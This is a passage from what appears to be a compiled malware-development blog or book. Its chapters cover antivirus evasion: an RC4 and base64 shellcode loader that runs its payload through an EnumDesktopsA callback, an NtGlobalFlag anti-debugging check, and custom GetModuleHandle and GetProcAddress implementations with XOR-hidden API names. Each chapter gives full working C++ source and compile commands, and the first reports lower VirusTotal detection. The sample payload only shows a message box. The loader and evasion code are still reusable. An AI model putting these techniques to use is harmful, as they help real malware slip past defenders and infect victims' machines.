This article is the result of my own research into interesting trick: encrypting base64
encoded payload via RC4.
In most cases in real life, a simple base64 encoding of the payload is enough during a
pentest, but if antivirus protection is well configured on the target host, then this is a
problem. What if you encrypt it with a stream cipher? Can we reduce the number of
AV engines that detect our payload?

RC4
It is a stream cipher commonly utilized in many computer network information secu-
rity systems. Ronald Rivest, a professor at MIT, developed this encryption algorithm,
although it is unlikely that anyone will employ it in new significant projects due to
recognized vulnerabilities.
This is a simple algorithm and the pseudocode for its implementation is on wikipedia,
so in C++ it looks something like this:
// swap
void swap(unsigned char *a, unsigned char *b) {
unsigned char tmp;
tmp = *a;
*a = *b;
*b = tmp;
}

// key-scheduling algorithm (KSA)


void KSA(unsigned char *s, unsigned char *key, int keyL) {
int k;
int x, y = 0;

538
// initialize
for (k = 0; k < 256; k++) {
s[k] = k;
}

for (x = 0; x < 256; x++) {


y = (y + s[x] + key[x % keyL]) % 256;
swap(&s[x], &s[y]);
}
return;
}

// pseudo-random generation algorithm (PRGA)


unsigned char* PRGA(unsigned char* s, unsigned int messageL) {
int i = 0, j = 0;
int k;

unsigned char* keystream;


keystream = (unsigned char *)malloc(sizeof(unsigned char)*messageL);
for(k = 0; k < messageL; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
swap(&s[i], &s[j]);
keystream[k] = s[(s[i] + s[j]) % 256];
}
return keystream;
}

// encryption and decryption


unsigned char* RC4(unsigned char *plaintext, unsigned char* ciphertext,
unsigned char* key, unsigned int keyL, unsigned int messageL) {
int i;
unsigned char s[256];
unsigned char* keystream;
KSA(s, key, keyL);
keystream = PRGA(s, messageL);

for (i = 0; i < messageL; i++) {


ciphertext[i] = plaintext[i] ^ keystream[i];
}
return ciphertext;
}

539
practical example
For our practical example first of all I base64 encoded our meow-meow messagebox
payload, which in turn will be encrypted with the RC4 algorithm:

unsigned char* plaintext = (unsigned char*)"/EiB5PD////o0AAAAEFRQVBSUVZIMdJlSItSYD5Ii"


"1IYPkiLUiA+SItyUD5ID7dKSk0xyUg"
"xwKw8YXwCLCBBwckNQQHB4u1SQVE+SI"
"tSID6LQjxIAdA+i4CIAAAASIXAdG9IAd"
"BQPotIGD5Ei0AgSQHQ41xI/8k+QYs0iEgB1"
"k0xyUgxwKxBwckNQQHBOOB18T5MA"
"0wkCEU50XXWWD5Ei0AkSQHQZj5B"
"iwxIPkSLQBxJAdA+QYsEiEgB0EFY"
"QVheWVpBWEFZQVpIg+wgQVL/4FhBWV"
"o+SIsS6Un///9dScfBAAAAAD5IjZX+"
"AAAAPkyNhQkBAABIMclBukWDVgf/"
"1UgxyUG68LWiVv/VTWVvdy1tZW93IQA9Xi4uXj0A";
unsigned char* key = (unsigned char*)"key";
unsigned char* ciphertext = (unsigned char *)malloc(sizeof(unsigned char) *
strlen((const char*)plaintext));
RC4(plaintext, ciphertext, key, strlen((const char*)key),
strlen((const char*)plaintext));
So in our malware we do the reverse process: first we decrypting it via RC4 then decoding
via base64. For base64 decoding process I used Win32 crypto API:
#include <windows.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")

//...
//...
//...

int b64decode(const BYTE * src, unsigned int srcLen, char * dst, unsigned int dstLen) {
DWORD outLen;

540
BOOL fRet;
outLen = dstLen;
fRet = CryptStringToBinary( (LPCSTR) src, srcLen, CRYPT_STRING_BASE64,
(BYTE * )dst, &outLen, NULL, NULL);
if (!fRet) outLen = 0; // failed
return (outLen);
}

//...
Finally, we have full source code:
/*
hack.cpp
RC4 encrypt payload
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/08/16/malware-av-evasion-9.html
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <windows.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")

int b64decode(const BYTE * src, unsigned int srcLen, char * dst,


unsigned int dstLen) {
DWORD outLen;
BOOL fRet;
outLen = dstLen;
fRet = CryptStringToBinary( (LPCSTR) src, srcLen, CRYPT_STRING_BASE64,
(BYTE * )dst, &outLen, NULL, NULL);
if (!fRet) outLen = 0; // failed
return (outLen);
}

// swap
void swap(unsigned char *a, unsigned char *b) {
unsigned char tmp;
tmp = *a;
*a = *b;
*b = tmp;
}

// key-scheduling algorithm (KSA)


void KSA(unsigned char *s, unsigned char *key, int keyL) {

541
int k;
int x, y = 0;

// initialize
for (k = 0; k < 256; k++) {
s[k] = k;
}

for (x = 0; x < 256; x++) {


y = (y + s[x] + key[x % keyL]) % 256;
swap(&s[x], &s[y]);
}
return;
}

// pseudo-random generation algorithm (PRGA)


unsigned char* PRGA(unsigned char* s, unsigned int messageL) {
int i = 0, j = 0;
int k;

unsigned char* keystream;


keystream = (unsigned char *)malloc(sizeof(unsigned char)*messageL);
for(k = 0; k < messageL; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
swap(&s[i], &s[j]);
keystream[k] = s[(s[i] + s[j]) % 256];
}
return keystream;
}

// encryption and decryption


unsigned char* RC4(unsigned char *plaintext, unsigned char* ciphertext,
unsigned char* key, unsigned int keyL, unsigned int messageL) {
int i;
unsigned char s[256];
unsigned char* keystream;
KSA(s, key, keyL);
keystream = PRGA(s, messageL);

// printf("-------plaintext-----------\n");
// for(i = 0; i < messageL; i++) {
// printf("%02hhx\t", plaintext[i]);
// }
// printf("\n\n");
//

542
// printf("-------key-----------\n");
// for(i = 0; i < keyL; i++) {
// printf("%02hhx\t", key[i]);
// }
// printf("\n\n");

for (i = 0; i < messageL; i++) {


ciphertext[i] = plaintext[i] ^ keystream[i];
}

// printf("-------ciphertext-----------\n");
// for(i = 0; i < messageL; i++) {
// printf("%02hhx\t", ciphertext[i]);
// }
// printf("\n\n");
return ciphertext;
}

int main(int argc, char* argv[]) {


unsigned char* plaintext = (unsigned char*)"/EiB5PD////"
"o0AAAAEFRQVBSUVZIMdJlSItSYD5Ii1IYPkiLUiA"
"+SItyUD5ID7dKSk0xyUgxwKw8YXwCLCBBwckNQQHB4u1SQVE+SItSID6LQjxIAdA"
"+i4CIAAAASIXAdG9IAdBQPotIGD5Ei0AgSQHQ41xI/8k"
"+QYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18T5MA0wkCEU50XXWWD5Ei0AkSQHQZj5"
"BiwxIPkSLQBxJAdA+QYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVo+SIsS6Un///"
"9dScfBAAAAAD5IjZX+AAAAPkyNhQkBAABIMclBukWDVgf/1UgxyUG68LWiVv/"
"VTWVvdy1tZW93IQA9Xi4uXj0A";
unsigned char* key = (unsigned char*)"key";
unsigned char* ciphertext = (unsigned char *)malloc(sizeof(unsigned char) *
strlen((const char*)plaintext));
RC4(plaintext, ciphertext, key, strlen((const char*)key), strlen((const
char*)plaintext));

unsigned char payload[] =


"\x24\x29\x5d\xaf\x11\xdf\x3f\x65\x67\x64\x27\x14\x26\x1c\x53\xbc"
"\xce\x31\xab\x34\xfa\xb7\xa1\xac\x63\xa5\xf2\xf4\x74\x88\x31\xf2"
"\x47\x74\xc2\xdd\xf0\xcb\x8f\xf5\x5a\xe6\xb6\xe8\x73\x16\x4f\xcf"
"\xaf\x54\x79\x0c\x3f\x90\x7d\xfd\xa6\x2b\x0d\x71\xc7\xb0\xb6\x40"
"\xf0\x12\xdc\xa8\xc5\x20\xb5\xc0\x45\x25\x03\x30\x03\x23\xd9\xc8"
"\x82\xbc\x7d\x1a\xfe\xcc\x66\x32\x2e\xaa\x40\xc9\x61\xc2\x72\x77"
"\x70\xba\xc7\xd2\x3b\xea\x3d\x6f\x07\xf5\xbc\xae\x1d\x32\xc8\xf3"
"\x6f\x1c\x32\xe0\xd7\x65\x20\x72\xec\x21\xfe\xa9\xc5\x72\x12\xa6"
"\x06\x38\x01\x3e\x16\xe8\x09\x68\x87\xc8\x7f\x0b\x44\xcf\xba\x9c"
"\xbe\x7c\xfc\x3b\x96\x3f\x90\xdc\x96\xe3\x8c\x3f\x3a\xe7\x57\xa4"
"\xcd\xa5\x42\x4b\x55\x2e\x5b\x89\xf6\xd9\x80\x55\xf8\xbc\x0b\x4e"
"\x66\x96\x01\xce\xc8\x97\x6a\xbd\x31\x6d\xfd\x53\xae\xcd\x98\xc9"

543
"\x28\x73\x60\x4a\x82\xe1\x2e\xb7\x77\xc5\x97\xbd\x3d\xed\xc1\x9c"
"\xeb\xc6\x06\x3a\x44\xf5\xf8\x7d\x79\x30\x42\xea\xbd\x4d\xbf\xe5"
"\x18\xcb\xa5\x78\x6f\xb7\xf9\x65\xd7\x36\xbd\x92\x76\xf0\xda\x60"
"\x97\xac\xd1\xcf\x98\xbf\xd7\x66\xd1\x4b\x34\x96\xfb\xe9\xf8\xac"
"\x59\xe9\x0e\x81\x81\xe4\x7f\xcf\xd6\x7f\x16\x48\xe1\x94\x0c\x7c"
"\x8e\xa0\x85\xa1\x81\x0f\xc3\x5f\xfb\xfd\x05\x7b\x69\x5b\xb4\x78"
"\x4e\x1e\x10\x1b\x29\xc4\xa9\x1d\xa6\xa3\xe6\xa9\xb0\xdd\xc5\x35"
"\x3b\x0e\xdb\xca\x82\x64\x1a\x19\x53\xdd\x65\xe7\xd3\x5e\x2e\x7d"
"\x8c\xfa\x80\x52\x6c\xa0\xad\x9a\x8f\xb6\xdc\x43\x8b\x8e\x5f\xac"
"\x46\xb5\x90\x8a\x16\x3d\x4d\xb9\x17\xc6\x6d\x87\x13\xad\xa3\x78"
"\x68\x7c\xbc\xcf\x1b\x26\xa6\xc3\x37\x10\xfc\xca\xc4\x78\xa6\xe1"
"\x7e\x88\x53\xcc\x2e\x38\xe3\x15\xd0\x2b\xe9\x0f";
unsigned char* encoded = (unsigned char *)payload;
unsigned char* decoded = (unsigned char *)malloc(sizeof(unsigned char) *
(sizeof(payload) - 1));
RC4(encoded, decoded, key, strlen((const char*)key), sizeof(payload) - 1);
// printf("%s\n", decoded);

unsigned int payload_bytes_len = 512;


char * decoded_payload_bytes = (char *)malloc(sizeof(char) * payload_bytes_len);
b64decode((const BYTE *)decoded, payload_bytes_len,
decoded_payload_bytes, payload_bytes_len);

unsigned int decoded_payload_len = 285;


unsigned char* decoded_payload = new unsigned char[decoded_payload_len];

for (int j = 0; j < decoded_payload_len; j++) {


decoded_payload[j] = decoded_payload_bytes[j];
}

printf("-------payload-----------\n");
for (int i = 0; i < decoded_payload_len; i++) {
printf("%02hhx\t", decoded_payload[i]);
}
printf("\n\n");

LPVOID mem = VirtualAlloc(NULL, decoded_payload_len + 1, MEM_COMMIT,


PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, decoded_payload, decoded_payload_len);
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);

return 0;
}

544
demo
Let’s go to see everything in action. Compile our malware:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -lcrypt32

Then run it at the victim’s machine:


.\hack.exe

As you can see everything is worked perfectly! =.. =


Upload our malware to antiscan.me:

545
https://antiscan.me/scan/new/result?id=TDS4GtAWYrXY
and to VirusTotal:

546
As you can see, only 3 of 70 AV engines detect our file as malicious.
https://www.virustotal.com/gui/file/345630f8fd18715b4151eec0238ef6a7024e801a
bcc6ac70e595373dedb11867/detection
So it can be assumed that evasion works because this technique of shellcode running
showed the result 16 of 66:

https://www.virustotal.com/gui/file/657ff9b6499f8eed373ac61bf8fc98257295869a
833155f68b4d68bb6e565ca1/detection
We have reduced the number of AV engines which detect our malware from 16
to 3!
But in general, there is a very serious caveat, why we get 3 at the result. If we run

547
something like:
strings -n 8 | grep "o0AAAAEFRQVBSUVZIMdJlSItSYD5Ii1IYPkiLUiA+SItyUD5ID7dKSk0xy"

What do we see??? Many tools for static analysis will immediately understand the mali-
cious stuffing after decoding such lines. Since our code is just dirty PoC, so this string
is for debugging and asserting purposes, it is a normal but in real life we might not see
indicators like this.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
RC4
base64
EnumDesktopsA
source code in github

548
63. Malware AV/VM evasion - part 10: anti-debugging. NtGlob-
alFlag. Simple C++ example.

This post is the result of my own research into interesting anti-debugging trick: checking
NtGlobalFlag.
This is just another way how malware can detect that it is running in a debugger.

NtGlobalFlag
During debugging, the system sets the FLG_HEAP_ENABLE_TAIL_CHECK (0x10),
FLG_HEAP_ENABLE_FREE_CHECK (0x20) and FLG_HEAP_VALIDATE_PARAMETERS
(0x40) flags in the NtGlobalFlag field, which is located in the PEB structure.
The NtGlobalFlag has the value 0x68 offset on 32-bit Windows, the value of 0xbc
on 64-bit Windows and both of them are set to 0:

549
practical example
Simple PoC code for anti-debugging:
/*
hack.cpp
anti-debugging via NtGlobalFLag
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/15/malware-av-evasion-10.html
*/
#include <winternl.h>
#include <windows.h>
#include <stdio.h>

#define FLG_HEAP_ENABLE_TAIL_CHECK 0x10


#define FLG_HEAP_ENABLE_FREE_CHECK 0x20
#define FLG_HEAP_VALIDATE_PARAMETERS 0x40
#define NT_GLOBAL_FLAG_DEBUGGED (FLG_HEAP_ENABLE_TAIL_CHECK |
FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS)

#pragma comment (lib, "user32.lib")

DWORD checkNtGlobalFlag() {
PPEB ppeb = (PPEB)__readgsqword(0x60);
DWORD myNtGlobalFlag = *(PDWORD)((PBYTE)ppeb + 0xBC);
MessageBox(NULL, myNtGlobalFlag & NT_GLOBAL_FLAG_DEBUGGED ? "Bow-wow!" :
"Meow-meow!", "=^..^=", MB_OK);
return 0;
}

550
int main(int argc, char* argv[]) {
DWORD check = checkNtGlobalFlag();
return 0;
}
As you can see, the logic is pretty simple, we just check a combination of flags.
For simplicity, I have only considered 64-bit Windows

demo
Let’s go to see everything in action. Compile:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Run it via x64dbg debugger:

and run from cmd:

551
As you can see everything is worked perfectly :)
Upload it to VirusTotal:

As you can see, 5 of 69 AV engines detect our PoC file as malicious.


https://www.virustotal.com/gui/file/6e0c2294a13f0b78e0526f217ee1a255ac310712
3967e1fe9cd91cbbd8fd57dd/detection
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
MITRE ATT&CK: Debugger evasion
MSDN: PEB structure
x64dbg
al-khaser

552
source code in github

553
64. malware AV/VM evasion - part 11 (part 15 on blog): WinAPI
GetModuleHandle implementation. Simple C++ example.

This post is the result of my own research on try to evasion AV engines via another
popular trick: WinAPI GetModuleHandle implementation.

GetModuleHandle
GetModuleHandle is a Windows API (also known as WinAPI) function that retrieves
a handle to a loaded module in the address space of the calling process. It can be used
to obtain identifiers for the associated executable or DLL files. The function declaration
can be found in the Windows.h header file:
HMODULE GetModuleHandle(
LPCWSTR lpModuleName
);
When using GetModuleHandle, we don’t need to call FreeLibrary to free the module,
as it only retrieves a handle to a module that is already loaded in the process.

practical example. custom implementation of GetModuleHandle


Creating a custom implementation of GetModuleHandle using the Process Environ-
ment Block (PEB) can help avoid antivirus (AV) detection in certain scenarios.
You can use the PEB to access the loaded modules list and search for the desired module
manually.
Here’s a high-level outline of the steps you would take to implement a custom
GetModuleHandle function using the PEB:

554
• access the PEB for the current process.

• locate the InMemoryOrderModuleList in the PEB’s Ldr structure.

• iterate through the linked list of loaded modules.


• compare the base name of each module with the desired module name.

• if a match is found, return the base address (which acts as a handle) of the module.
So, the full source code in C is looks like this:
// custom implementation
HMODULE myGetModuleHandle(LPCWSTR lModuleName) {

// obtaining the offset of PPEB from the beginning of TEB


PEB* pPeb = (PEB*)__readgsqword(0x60);

// for x86
// PEB* pPeb = (PEB*)__readgsqword(0x30);

// obtaining the address of the head node in a linked list


// which represents all the models that are loaded into the process.
PEB_LDR_DATA* Ldr = pPeb->Ldr;
LIST_ENTRY* ModuleList = &Ldr->InMemoryOrderModuleList;

// iterating to the next node. this will be our starting point.


LIST_ENTRY* pStartListEntry = ModuleList->Flink;

// iterating through the linked list.


WCHAR mystr[MAX_PATH] = { 0 };
WCHAR substr[MAX_PATH] = { 0 };
for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList;
pListEntry = pListEntry->Flink) {

// getting the address of current LDR_DATA_TABLE_ENTRY (which represents the DLL).


LDR_DATA_TABLE_ENTRY* pEntry =
(LDR_DATA_TABLE_ENTRY*)((BYTE*)pListEntry - sizeof(LIST_ENTRY));

// checking if this is the DLL we are looking for


memset(mystr, 0, MAX_PATH * sizeof(WCHAR));
memset(substr, 0, MAX_PATH * sizeof(WCHAR));
wcscpy_s(mystr, MAX_PATH, pEntry->FullDllName.Buffer);
wcscpy_s(substr, MAX_PATH, lModuleName);
if (cmpUnicodeStr(substr, mystr)) {
// returning the DLL base address.
return (HMODULE)pEntry->DllBase;
}

555
}

// the needed DLL wasn't found


printf("failed to get a handle to %s\n", lModuleName);
return NULL;
}
And add my own function for comparing Unicode strings:
int cmpUnicodeStr(WCHAR substr[], WCHAR mystr[]) {
_wcslwr_s(substr, MAX_PATH);
_wcslwr_s(mystr, MAX_PATH);

int result = 0;
if (StrStrW(mystr, substr) != NULL) {
result = 1;
}

return result;
}

AV evasion example
Let’s go to create a simple “malware”, just meow-meow messagebox example:
/*
* hack.cpp - GetModuleHandle implementation. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/2023/04/08/malware-av-evasion-15.html
*/
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <shlwapi.h>
#include <string.h>

#pragma comment(lib, "Shlwapi.lib")

int cmpUnicodeStr(WCHAR substr[], WCHAR mystr[]) {


_wcslwr_s(substr, MAX_PATH);
_wcslwr_s(mystr, MAX_PATH);

int result = 0;
if (StrStrW(mystr, substr) != NULL) {
result = 1;
}

556
return result;
}

typedef UINT(CALLBACK* fnMessageBoxA)(


HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);

// custom implementation
HMODULE myGetModuleHandle(LPCWSTR lModuleName) {

// obtaining the offset of PPEB from the beginning of TEB


PEB* pPeb = (PEB*)__readgsqword(0x60);

// for x86
// PEB* pPeb = (PEB*)__readgsqword(0x30);

// obtaining the address of the head node in a linked list


// which represents all the models that are loaded into the process.
PEB_LDR_DATA* Ldr = pPeb->Ldr;
LIST_ENTRY* ModuleList = &Ldr->InMemoryOrderModuleList;

// iterating to the next node. this will be our starting point.


LIST_ENTRY* pStartListEntry = ModuleList->Flink;

// iterating through the linked list.


WCHAR mystr[MAX_PATH] = { 0 };
WCHAR substr[MAX_PATH] = { 0 };
for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList;
pListEntry = pListEntry->Flink) {

// getting the address of current LDR_DATA_TABLE_ENTRY (which represents the DLL).


LDR_DATA_TABLE_ENTRY* pEntry =
(LDR_DATA_TABLE_ENTRY*)((BYTE*)pListEntry - sizeof(LIST_ENTRY));

// checking if this is the DLL we are looking for


memset(mystr, 0, MAX_PATH * sizeof(WCHAR));
memset(substr, 0, MAX_PATH * sizeof(WCHAR));
wcscpy_s(mystr, MAX_PATH, pEntry->FullDllName.Buffer);
wcscpy_s(substr, MAX_PATH, lModuleName);
if (cmpUnicodeStr(substr, mystr)) {
// returning the DLL base address.
return (HMODULE)pEntry->DllBase;

557
}
}

// the needed DLL wasn't found


printf("failed to get a handle to %s\n", lModuleName);
return NULL;
}

// encrypted function name (MessageBoxA)


unsigned char s_mb[] = { 0x20, 0x1c, 0x0, 0x6, 0x11, 0x2, 0x17, 0x31, 0xa,
0x1b, 0x33 };

// encrypted module name (user32.dll)


unsigned char s_dll[] = { 0x18, 0xa, 0x16, 0x7, 0x43, 0x57, 0x5c, 0x17, 0x9,
0xf };

// key
char s_key[] = "mysupersecretkey";

// XOR decrypt
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}

int main(int argc, char* argv[]) {


XOR((char *) s_dll, sizeof(s_dll), s_key, sizeof(s_key));
XOR((char *) s_mb, sizeof(s_mb), s_key, sizeof(s_key));

wchar_t wtext[20];
mbstowcs(wtext, s_dll, strlen(s_dll)+1); //plus null
LPWSTR user_dll = wtext;

HMODULE mod = myGetModuleHandle(user_dll);


if (NULL == mod) {
return -2;
} else {
printf("meow");
}

fnMessageBoxA myMessageBoxA = (fnMessageBoxA)GetProcAddress(mod, (LPCSTR)s_mb);

558
myMessageBoxA(NULL, "Meow-meow!","=^..^=", MB_OK);
return 0;
}
As you can see, I also added XOR encryption strings (function and module names).

demo
Let’s go to see everything in action. First of all compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

And run at the victim’s machine (Windows 10 x64):


.\hack.exe

As you can see, just print meow for correctness. Everything is worked perfectly =.. =
If we analyze our binary via PE-bear:

559
560
or via strings:
strings ./hack.exe

561
As result, GetModuleHandle WinAPI hidden: bypass AV engines in certain scenarios.
In the next post, I will look at the my own practical implementation of GetProcAddress
I hope this post spreads awareness to the blue teamers of this interesting evasion tech-
nique, and adds a weapon to the red teamers arsenal.
MITRE ATT&CK: T1027
AV evasion: part 1
AV evasion: part 2
GetModuleHandle
source code in github

562
65. malware AV/VM evasion - part 12 (part 16 on blog): WinAPI
GetProcAddress implementation. Simple C++ example.

This post is the result of my own research on try to evasion AV engines via another
popular trick: WinAPI GetProcAddress implementation.

GetProcAddress
GetProcAddress is a Windows API function that retrieves the address of an exported
function or variable from the specified DLL. This function is useful when you want to
load a function from a DLL at runtime, which is also known as dynamic linking or
runtime linking:
FARPROC GetProcAddress(
HMODULE hModule,
LPCSTR lpProcName
);
• hModule - A handle to the DLL module that contains the function or variable.
The LoadLibrary or LoadLibraryEx function returns this handle.

• lpProcName - The function or variable name as a null-terminated string, or the


function’s ordinal value. If this parameter is an ordinal value, it must be in the
low-order word, and the high-order word must be zero.
If the function succeeds, the return value is the address of the exported function or
variable, if the function fails, the return value is NULL.

practical example. custom implementation of GetProcAddress


Like a previous post creating my simplest implementation of GetProcAddress using
Process Environment Block (PEB) also can help avoid antivirus (AV) detection in cer-
tain scenarios.

563
FARPROC myGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS ntHeaders =
(PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exportDirectory =
(PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule +
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);

DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule +


exportDirectory->AddressOfFunctions);
WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule +
exportDirectory->AddressOfNameOrdinals);
DWORD* addressOfNames = (DWORD*)((BYTE*)hModule +
exportDirectory->AddressOfNames);

for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) {


if (strcmp(lpProcName, (const char*)hModule + addressOfNames[i]) == 0) {
return (FARPROC)((BYTE*)hModule + addressOfFunctions[addressOfNameOrdinals[i]]);
}
}

return NULL;
}
Here’s a step-by-step explanation of this code:
• get DOS and NT headers: Cast the base address of the module (hModule) to a
PIMAGE_DOS_HEADER pointer and use it to locate the PIMAGE_NT_HEADERS
structure by adding the e_lfanew field to the base address.

• locate the export directory: Use the OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Vi


field from the PIMAGE_NT_HEADERS structure to find the PIMAGE_EXPORT_DIRECTORY
structure.

• get pointers to export tables: Obtain pointers to the AddressOfFunctions,


AddressOfNameOrdinals, and AddressOfNames tables using the respective
fields of the PIMAGE_EXPORT_DIRECTORY structure and the base address of the
module.

• iterate through the names: Loop through the AddressOfNames table up to


NumberOfNames times, and compare each function name with the target
function name (lpProcName) using strcmp.

• find the function address: If the function name matches, find the function’s ordinal
by indexing the AddressOfNameOrdinals table, and use the ordinal to index the
AddressOfFunctions table. Calculate the absolute function address by adding

564
the module’s base address to the relative virtual address (RVA) of the function.

AV evasion “malware”
Ok, what about the “malware” example? For this, I just updated the code from my
previous post. Add my implementation of WinAPI GetProcAddress. The full source
code is:
/*
* hack.cpp - GetProcAddress implementation. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/2023/04/16/malware-av-evasion-16.html
*/
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <shlwapi.h>
#include <string.h>

#pragma comment(lib, "Shlwapi.lib")

int cmpUnicodeStr(WCHAR substr[], WCHAR mystr[]) {


_wcslwr_s(substr, MAX_PATH);
_wcslwr_s(mystr, MAX_PATH);

int result = 0;
if (StrStrW(mystr, substr) != NULL) {
result = 1;
}

return result;
}

typedef UINT(CALLBACK* fnMessageBoxA)(


HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);

// custom implementation
HMODULE myGetModuleHandle(LPCWSTR lModuleName) {

// obtaining the offset of PPEB from the beginning of TEB


PEB* pPeb = (PEB*)__readgsqword(0x60);

565
// for x86
// PEB* pPeb = (PEB*)__readgsqword(0x30);

// obtaining the address of the head node in a linked list


// which represents all the models that are loaded into the process.
PEB_LDR_DATA* Ldr = pPeb->Ldr;
LIST_ENTRY* ModuleList = &Ldr->InMemoryOrderModuleList;

// iterating to the next node. this will be our starting point.


LIST_ENTRY* pStartListEntry = ModuleList->Flink;

// iterating through the linked list.


WCHAR mystr[MAX_PATH] = { 0 };
WCHAR substr[MAX_PATH] = { 0 };
for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList;
pListEntry = pListEntry->Flink) {

// getting the address of current LDR_DATA_TABLE_ENTRY (which represents the DLL).


LDR_DATA_TABLE_ENTRY* pEntry =
(LDR_DATA_TABLE_ENTRY*)((BYTE*)pListEntry - sizeof(LIST_ENTRY));

// checking if this is the DLL we are looking for


memset(mystr, 0, MAX_PATH * sizeof(WCHAR));
memset(substr, 0, MAX_PATH * sizeof(WCHAR));
wcscpy_s(mystr, MAX_PATH, pEntry->FullDllName.Buffer);
wcscpy_s(substr, MAX_PATH, lModuleName);
if (cmpUnicodeStr(substr, mystr)) {
// returning the DLL base address.
return (HMODULE)pEntry->DllBase;
}
}

// the needed DLL wasn't found


printf("failed to get a handle to %s\n", lModuleName);
return NULL;
}

FARPROC myGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {


PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule +
dosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exportDirectory =
(PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule +
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);

566
DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule +
exportDirectory->AddressOfFunctions);
WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule +
exportDirectory->AddressOfNameOrdinals);
DWORD* addressOfNames = (DWORD*)((BYTE*)hModule +
exportDirectory->AddressOfNames);

for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) {


if (strcmp(lpProcName, (const char*)hModule + addressOfNames[i]) == 0) {
return (FARPROC)((BYTE*)hModule + addressOfFunctions[addressOfNameOrdinals[i]]);
}
}

return NULL;
}

// encrypted function name (MessageBoxA)


unsigned char s_mb[] = { 0x20, 0x1c, 0x0, 0x6, 0x11, 0x2, 0x17, 0x31, 0xa,
0x1b, 0x33 };

// encrypted module name (user32.dll)


unsigned char s_dll[] = { 0x18, 0xa, 0x16, 0x7, 0x43, 0x57, 0x5c, 0x17, 0x9,
0xf };

// key
char s_key[] = "mysupersecretkey";

// XOR decrypt
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}

int main(int argc, char* argv[]) {


XOR((char *) s_dll, sizeof(s_dll), s_key, sizeof(s_key));
XOR((char *) s_mb, sizeof(s_mb), s_key, sizeof(s_key));

wchar_t wtext[20];

567
mbstowcs(wtext, s_dll, strlen(s_dll)+1); //plus null
LPWSTR user_dll = wtext;

HMODULE mod = myGetModuleHandle(user_dll);


if (NULL == mod) {
return -2;
} else {
printf("meow");
}

fnMessageBoxA myMessageBoxA =
(fnMessageBoxA)myGetProcAddress(mod, (LPCSTR)s_mb);
myMessageBoxA(NULL, "Meow-meow!","=^..^=", MB_OK);
return 0;
}
As you can see, the only difference is new function myGetProcAddress.

demo
Let’s go to see everything in action. First of all compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

And run at the victim’s machine (Windows 10 x64):


.\hack.exe

568
